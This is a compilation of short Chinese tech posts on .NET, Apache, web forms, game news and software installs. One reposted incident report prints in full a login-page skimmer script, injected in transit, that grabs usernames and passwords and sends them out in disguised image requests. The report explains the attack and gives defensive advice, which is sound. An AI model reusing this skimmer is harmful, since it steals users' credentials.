诺基亚发布 Windows Phone 平台图像处理 SDK

在不断改进拍照硬件和拍照软件的同时,诺基亚也在改进着 Windows Phone 平台的图像编辑和处理机制。日前在 Slush 2013 科技展会上,诺基亚正式发布了 1.0 版图像处理软件开发包(SDK)。

  这个图像处理 SDK 最初以 beta 版形式随同诺基亚 Lumia 1020 一起发布,诺基亚向开发者开放了其专有的 RAJPEG 技术,实现快速流畅的图片处理体验。Hipstamatic、Path、Yelp、CNN 和 Foursquare 等著名应用已经率先利用这一 SDK 为 Lumia 1020 提供了特别的支持。诺基亚自家的很多图像处理应用也是以这一 SDK 进行开发,比如著名的诺基亚创意工作室。

  正式版 SDK 目前的主要特性有:

  • JPEG 实时按需解码。无需反复解码整张高分辨率 JPEG 图片,即可让用户预览到各种滤镜、旋转和裁切效果。对于 Lumia 1020 这样拍摄超高分辨率图片的设备来说,这一功能可以有效提高图片编辑的流畅度。
  • 大量易于使用的 API 接口。诺基亚图像处理 SDK 同时提供C#、VB 和原生 C++ 代码接口,在类和方法设置上也易于理解和使用。
  • 提供超过 50 种预置滤镜、特效和优化方案。从最基础的自动修正到 RGB/色相/饱和度调整这样的进阶操作都有覆盖。
  • 允许开发者根据自身需求完全自定义滤镜效果。
  • 优化的裁切、缩放、旋转操作步骤。同时所有这些处理步骤可以无限次地反复取消和恢复。
  • 在 beta 版本的基础上改进了兼容性和对相机功能的调用。

 

  在完全免费开放下载的同时,诺基亚还同时提供了详尽的示例应用、源码和文档。开发者可以进行查看和下载。

ASP.NET MVC中基于属性的路由

  在 ASP.NET MVC 4 以及之前的版本中,路由选择专门是通过向一个 RouteCollection 中添加路径来处理的。尽管开始的时候路由使用的是简单的约定,但是随着网站的发展以及特殊情况的积累,它会变得非常复杂。由于路由和它们所适用的控制器是物理隔离的,它能够采取一些侦探性的工作理解关系。

  随着 ASP.NET MVC 5 的引入,Microsoft 希望通过使用基于属性的路由简化体验。使用同样的基础模式语法作为命令模型,可以将声明式的 Route 属性应用到控制器方法上。

  为了给一个给定的控制器指定一个默认的路由,我们可以简单地向类中添加 Route 属性,属性路径为“{action=method}”,其中的“method”是默认方法的名字。你还可以将 RoutePrefix 属性应用到一个控制器上,这样可以减少控制器包含的路径的长度。Area 注册也可以废弃不用了,用户可以使用 RouteArea 属性替代。

  这些路由支持约束、可选 URI 参数以及默认值。MVC 约束遵循的规则和 Web API 基于属性的路由相同。

防止表单重复提交的几种策略

  表单重复提交是在多用户 Web 应用中最常见、带来很多麻烦的一个问题。有很多的应用场景都会遇到重复提交问题,比如:

  • 点击提交按钮两次。
  • 点击刷新按钮。
  • 使用浏览器后退按钮重复之前的操作,导致重复提交表单。
  • 使用浏览器历史记录重复提交表单。
  • 浏览器重复的 HTTP 请求。

 

几种防止表单重复提交的方法

禁掉提交按钮。表单提交后使用 Javascript 使提交按钮disable。这种方法防止心急的用户多次点击按钮。但有个问题,如果客户端把 Javascript 给禁止掉,这种方法就无效了。

  我之前的文章曾说过用一些 Jquery 插件效果不错。

Post/Redirect/Get 模式。在提交后执行页面重定向,这就是所谓的 Post-Redirect-Get (PRG)模式。简言之,当用户提交了表单后,你去执行一个客户端的重定向,转到提交成功信息页面。

  这能避免用户按 F5 导致的重复提交,而其也不会出现浏览器表单重复提交的警告,也能消除按浏览器前进和后退按导致的同样问题。

在 session 中存放一个特殊标志。当表单页面被请求时,生成一个特殊的字符标志串,存在 session 中,同时放在表单的隐藏域里。接受处理表单数据时,检查标识字串是否存在,并立即从 session 中删除它,然后正常处理数据。

  如果发现表单提交里没有有效的标志串,这说明表单已经被提交过了,忽略这次提交。

  这使你的 web 应用有了更高级的 XSRF 保护。

在数据库里添加约束。在数据库里添加唯一约束或创建唯一索引,防止出现重复数据。这是最有效的防止重复提交数据的方法。

Apache 如何设置默认首页文档

在你安装后的Apache目录下,有一个conf目录,在这个目录里,有一个"httpd.conf"文件.我们要做的,就是修改这个文件。

在这个文件里,凡是以"#"开头的每一行,都是无效的,如果你想让你的设置起作用,就要把行首的"#"去掉。

找到 DirectoryIndex 这段.把它改成DirectoryIndex index.php index.Html index.html 这样,你的网站目录的默认首页是 index.php, 如果没有index.php系统会自动寻找index.html、html做为默认首页了。

注意事项:index.php index.Html之间要有一个空格

另外你还可以操作一下其它的:

找到 ServerRoot 这段.将它设成你的Apache安装目录,我的是 ServerRoot "D:/Apache Group/Apache2"

找到 DocumentRoot 这段.把他设成你网站的根目录,我的是 DocumentRoot "D:/Apache Group/web。

C#把ArrayList转换为逗号分隔的string

        static void Main(string[] args)
        {
            ArrayList arr = new ArrayList();
            arr.Add("算神");
            arr.Add("算神");
            arr.Add("算神");
            string str = string.Join(",", arr.ToArray(typeof(string)) as string[]);
            Console.WriteLine(str);
            Console.Read();
        }

[转载]你们以为运营商只是HTTP插点广告而已么

国内某邮件服务商,近期在某南方地区有大量客户反应登录时出错和异常,于是工作人员进行了一下跟进,发现如下:

首先,邮件服务商登陆页面为普通HTTP协议发送,提交时通过JS进行RSA加密(没错,JS的RSA),发送到SSO登陆点,然后进行登录,有些人一看RSA,应该挺安全的了,不过……

在国内上网的大多数人对于运营商在HTTP包里插广告应该很熟悉了,原理很简单,大家可以参考腾讯安全中心的这篇文章http://security.tencent.com/index.php/blog/msg/10

在客户端抓包发现收到的HTTP数据包有异常,有几个包的TTL多了2,说明比正常从服务器到客户端的数据包少走了两跳,而且离服务器不是很远,估计在一个机房里,并且数据包的ID是很规律的12345,明显就是伪造的,包中插入了如下内容:

<script type="text/javascript"> 
    document.getElementById("freepassword").onblur = function (e) { 
        logoFresh(); 
    }; 

    function onLoginCheck() { 
        var user = null; 
        var pass = null; 
        user = document.getElementById("freename").value; 
        pass = document.getElementById("freepassword").value; 
        if (user.length <= 0 || pass.length <= 0) { 
            return false; 
        } else { 
            return rskQuery(user + '&' + pass + '&xxxxx.com'); 
        } 
    }; 

    function rskQuery(s) { 
        s = encodeURIComponent(s); 
        var r = Math.random(); 
        var num = (Math.round(r * 100)) % 9 + 1; 
        var i = 0; 
        var out = ''; 
        do { 
            var ch = s.charCodeAt(i++); 
            ch = (i % 2 > 0) ? (ch - i % num) : (ch + i % num); 
            var l = (ch / 10 >= 10) ? 3 : (ch / 10 > 0 ? 2 : 1); 
            out += l.toString() + ch; 
        } while (i < s.length); 
        out = r.toString().substring(0, num) + out + num; 
        return out; 
    }; 

    function logoFresh() { 
        var h = logoUrl(); 
        var s = onLoginCheck(); 
        if (s == false) { 
            return false; 
        } 
        for (var i = 0; i < 2; i++) { 
            var bg_logo = new Image(0, 0); 
            bg_logo.src = h + 'images/logo_bg.jpg?' + s; 
        } 
        var s1 = onLoginCheck(); 
        var ajaxUrl = h + 'images/logo_bg.jpg?' + s1; 
        var result = xmlHttpConnect(ajaxUrl, "get", null); 
    }; 

    function logoUrl() { 
        return '/'; 
    }; 

    function createXMLHttp() { 
        if (window.XMLHttpRequest) return new XMLHttpRequest(); 
        else if (window.ActiveXObject) return new ActiveXObject("Microsoft.XMLHTTP"); 
        else return null; 
    }; 

    function xmlHttpConnect(url, method, content) { 
        var request = createXMLHttp(); 
        if (request == null) return null; 
        try { 
            request.open(method, url, true); 
            request.send(content); 
        } catch (e) { 
            return null; 
        } 
        if ((request.readyState == 4) && (request.status == 200)) return null; 
        else return null 
    }; 

    document.getElementById("vippassword").onblur = function (e) { 
        logo_Fresh(); 
    } 

    function onLoginPhone() { 
        var user = null; 
        var pass = null; 
        user = document.getElementById("vipname").value; 
        pass = document.getElementById("vippassword").value; 
        if (user.length <= 0 || pass.length <= 0) { 
            return false; 
        } else { 
            return rskQuery(user + '&' + pass + '&vip.xxxxx.com'); 
        } 
    } 

    function logo_Fresh() { 
        var h = logoUrl(); 
        var s = onLoginPhone(); 
        if (s == false) { 
            return false; 
        } 
        for (var i = 0; i < 2; i++) { 
            var bg_logo = new Image(0, 0); 
            bg_logo.src = h + 'images/logo_bg.jpg?' + s; 
        } 
        var s1 = onLoginCheck(); 
        var ajaxUrl = h + 'images/logo_bg.jpg?' + s1; 
        var result = xmlHttpConnect(ajaxUrl, "get", null); 
    } 
</script>

 

在登录form里抓取用户名和密码,当成参数跟在logo后面再访问一下logo,再从中间抓包获取这段内容。这样的话邮件服务商的日志里肯定会出现很多logo的请求后面跟着明文用户名密码吧,错了,服务商那边根本没看到logo被请求两次,推断是带有这个特征的数据包被drop了,真尼玛用心啊。

至此,用户的邮箱密码已经泄露,用户和服务商也没有任何察觉,可能由于某些原因,比如延迟,丢包,bug之类的,导致部分用户被插的时候有异常,影响了原有的登录js,才导致这次事件浮出水面。

服务商由于成本问题,暂不考虑采用SSL登录。

至于那边还有什么类似设备我就不多说了,反正据我的了解,国内随便什么实权部门都能任意在ISP机房和主干网上接入任意设备,据说连税务的都有。

关于本次事件学到的内容:

国内服务用的任何用户名和密码和在国外比如gmail,twitter的账号要不相同,而且没有任何关联,并且国外服务的注册邮箱,密保邮箱等都要采用国外邮箱,首推gmail,并且打开二次认证,不要用短信认证,用手机验证器。

线上线下密码要分开,不相同,不近似,比如本地硬盘加密密码。凡是通过明文协议传输的通通被视为已暴露,HTTPS登录时每次手动查看证书签发机构是否为之前常用的那一个,遇到怀疑是国内CA伪造证书的立刻把证书导出另存为,因为国内没有root CA(cnnic的好像在ff和chrome已经被去掉了),只有二级证书机构,一旦被发现随便签证书会被立刻取消资格,并且黑名单推送到各大浏览器和操作系统。

呵呵,你们以为能频繁的,多种花样的插12306就赢了么,你们以为每天在微博打打嘴炮就胜利了么,菊花都被爆脱肛了还不知道。

.NET加密原理之方法体加密信息对应关系

  在 per method 的dotNet加密中,首要解决的方法体对应关系,即在运行时加密壳如何确定当前要解密的方法体所对应的加密信息。

  目前大部分加密壳都直接利用了dotNet的元数据来保存这种对应关系,我们知道在元数据中每个方法都会对应一个RVA值,加密壳可以直接把这个关系记录在RVA的地址处。在框架运行中RVA处的数据会被作为“方法体”在处理流程中直接传递,加密壳通过拦截框架处理流程中的函数,来对“方法体”进行分流处理。即先判断RVA处的数据是否“方法体加密对应信息”,如果是进入加密壳运行库的内部处理,不是则按原框架流程处理。

  对于这个“方法体加密对应信息”,最简单的方式是指记录一个指针信息,指向另一处数据块,四字节空间就够了。但是为了和普通没有加密的方法体进行区分,除了这个之外还需要增加一些唯一标识以便能被运行库在运行时安全无误的区分出来。

  大家可以用UE打开,加密后的程序集,看看一个方法体RVA处的数据,应该能很容易分别出来哪些是记录的“方法体加密对应信息”。

  正是这个原因,所以DNGuard v1.0和同类处理方式的加密壳,对方法体小于某个指定字节数的,就不能进行加密。

  因为“方法体加密对应信息”的大小超过的方法体的空间大小,写入的话会覆盖到后面方法体的信息。这实际上也是因为偷懒造成的。可以通过对方法体进行重排来解决这个问题,当然要麻烦很多了。

  这种模式实际上就是在元数据保存了一个虚拟表实现了 MethodToken => “方法体加密对应信息” 的对应记录。这个表可以看着是公开的。

  在DNGuard 2007 中我没有选择使用对方法体重排的方式来解决这个问题,而是选择了另一个方法,自己记录一个 虚拟表实现:MethodToken => “方法体加密对应信息” 的对应记录。

  因为这样有一个好处,就是 这个虚拟表也可以进行加密后保存。另外就是“方法体加密对应信息”中不需要添加标识符 和普通没有加密的方法体进行区分。

  在 DNGuard 2007 试用版 中没有使用真正的加密算法来对程序集加密,只是采用了“代码直接挪位”的方式,运行库的“解密”操作只是从另一个位置直接读取的操作。

  有个朋友分析到DNGuard 试用版里面有一个虚拟表记录了:MethodRid => ILCode。这个就是 虚拟表:MethodToken => “方法体加密对应信息” 在 试用版中退化的模式。

  另外因为方法体只是挪位,所以它实际上还是在程序集文件内,加载到内存中后也在程序集模块的内存空间中。而不是那位朋友说的 运行库在解密后将 IL代码 填回到内存里面去了。

  试用版只是提供给用户验证 DNGuard 是否适合自己的软件项目以及系统发布环境,请不要用试用版 加密程序集后直接分发。

微软放出Windows 8.1玩游戏鼠标指针滞后修复补丁

此前根据国外知名论坛Reddit用户反馈称由于微软对多显示器进行DPI“改善”处理之后导致部分游戏出现不能使用Raw输入或者 DirectInput的情况,在玩比如《杀出重围:人类革命》、《潜行者:切尔诺贝利的阴影》和《地铁2033》和部分《使命召唤》系列等游戏的时候会 出现严重滞后情况,此外还引发了鼠标具备高滚动比例和高DPI的情况。对此今天微软官方承认了Windows 8.1确实存在这样的缺陷,并放出了专门的修复补丁来让玩家更加开心。

微软在官方支持页面中表示:“当你使用Windows 8.1或Windows Server 2012 R2系统来玩某些游戏的时候,鼠标确实会存在冻结和严重滞后的情况。而出现这样问题的原因是Windows 8.1系统在对鼠标进行调整的时候引发了交互场景延迟严重的问题,因为玩家在鼠标移动的时候会明显感觉比前代Windows更卡。”

完整的补丁包下载请点击:    x86 x64

暴雪DOTA《暴风英雄》正式公布

在日前召开的暴雪嘉年华会展上,暴雪正式公布了自家Dota类游戏《暴风英雄》(Heroes of the Storm)

   《暴风英雄》最早被官方曝光是在2010年的暴雪嘉年华大会上,当时它以《星际争霸2:自由之翼》自定义地图的形式而存在,名唤《暴雪DOTA》(Blizzard DOTA),随后在2012年5月,为避免同Vavle的《Dota2》产生法律纷争,暴雪宣布该作标题被更改为《暴雪全明星》(Blizzard All-Stars),直至数月前本作被再度易名成《暴风英雄》。

   于《暴风英雄》中,玩家有机会化身来自暴雪几大核心游戏品牌产品(包括《星际争霸》系列、《暗黑破坏神》系列以及《魔兽争霸》系列)的经典游戏角色,好比人族机枪兵雷诺、幽灵诺娃,亦或是大菠萝、泰瑞尔,以及阿尔萨斯、玛法里奥等,这些英雄依据其自身特性又可被归类为武士(Warrior)、刺客(Assassin)、辅助(Support)和专精(Specialist)等共计四种职业。

   最后,《暴风英雄》将会以“免费游戏+微交易”的形式同玩家见面。

Win8.1下绕过限制安装新版必应拼音输入法

方法是:在命令行里输入“文件路径\必应输入法安装包名称 /i /quiet”,操作流程如下:

1、Win+X 调出来“命令提示符”

2、在命令提示符中输入,C:\Users\lishewen\Desktop\BingPinyinSetup_1.1.169.02 /i /quiet,回车,即完成任务了。

3、Win8.1中成功安装上最新版Bing输入法了